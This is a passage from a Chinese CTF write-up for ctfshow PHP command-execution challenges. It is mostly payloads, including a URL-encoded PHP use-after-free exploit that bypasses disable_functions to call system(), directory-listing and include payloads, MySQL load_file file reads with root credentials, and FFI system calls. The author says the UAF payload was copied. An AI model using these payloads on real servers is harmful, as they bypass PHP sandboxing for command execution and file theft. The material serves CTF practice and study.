- write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
- }
-
- write($abc, 0x20, $abc_addr + $fake_obj_offset);
- write($abc, 0xd0 + 0x38, 1, 4);
- write($abc, 0xd0 + 0x68, $zif_system);
-
- ($helper->b)($cmd);
- exit();
- }
-
- ctfshow("cat /flag0.txt");
- ob_end_flush();
- ?>
- # payload
- c=function%20ctfshow(%24cmd)%0A%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24j%20%3D%20%24s%20-%201%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%20%2B%20%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C%20(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C%20(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if%20(%24s%20!%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while%20(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20if%20(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if%20(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B%0Aob_end_flush()%3B
但这玩意儿仅限 unix,因此我没成功回显,这里payload是抄的.....
使用遍历获取目录
- c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
- c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
包含试试
c=include('flagc.txt');exit();
扫描目录
scandir()被禁用,用DirectoryIterator类
- c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
- c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
包含flagx.txt即可,c=include('/flagx.txt');exit();
用上面的glob协议扫描flag在flag36.txt
这道题的payload不是很懂,利用sql语句绕过open_basedir和disable_function
mysql的连接参数可以通过前面几个题拿到 ,这里可以参考通过sql数据库读取文件
这里直接上payload
- c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
- 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
- {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
- >getMessage();exit(0);}exit(0);
-
思路跟上题一样,payload如下
- c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
- 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
- {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
- >getMessage();exit(0);}exit(0);
-
- if(isset($_POST['c'])){
- $c= $_POST['c'];
- eval($c);
- $s = ob_get_contents();
- ob_end_clean();
- echo preg_replace("/[0-9]|[a-z]/i","?",$s);
- }
依旧先用用上面的glob协议扫描flag在flag36x.txt
题目提示环境为PHP7.4,这道题是利用FFI拓展,payload如下
- $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
- $a='/readflag > 1.txt';//没有回显的
- $ffi->system($a);//通过$ffi去调用system函数
-
- c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
传入payload之后访问flag.txt即可
查看提示,这道题用到了linux的内置变量.
fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用
这里附上演示示例
- ┌──(root声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/381639推荐阅读
相关标签
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。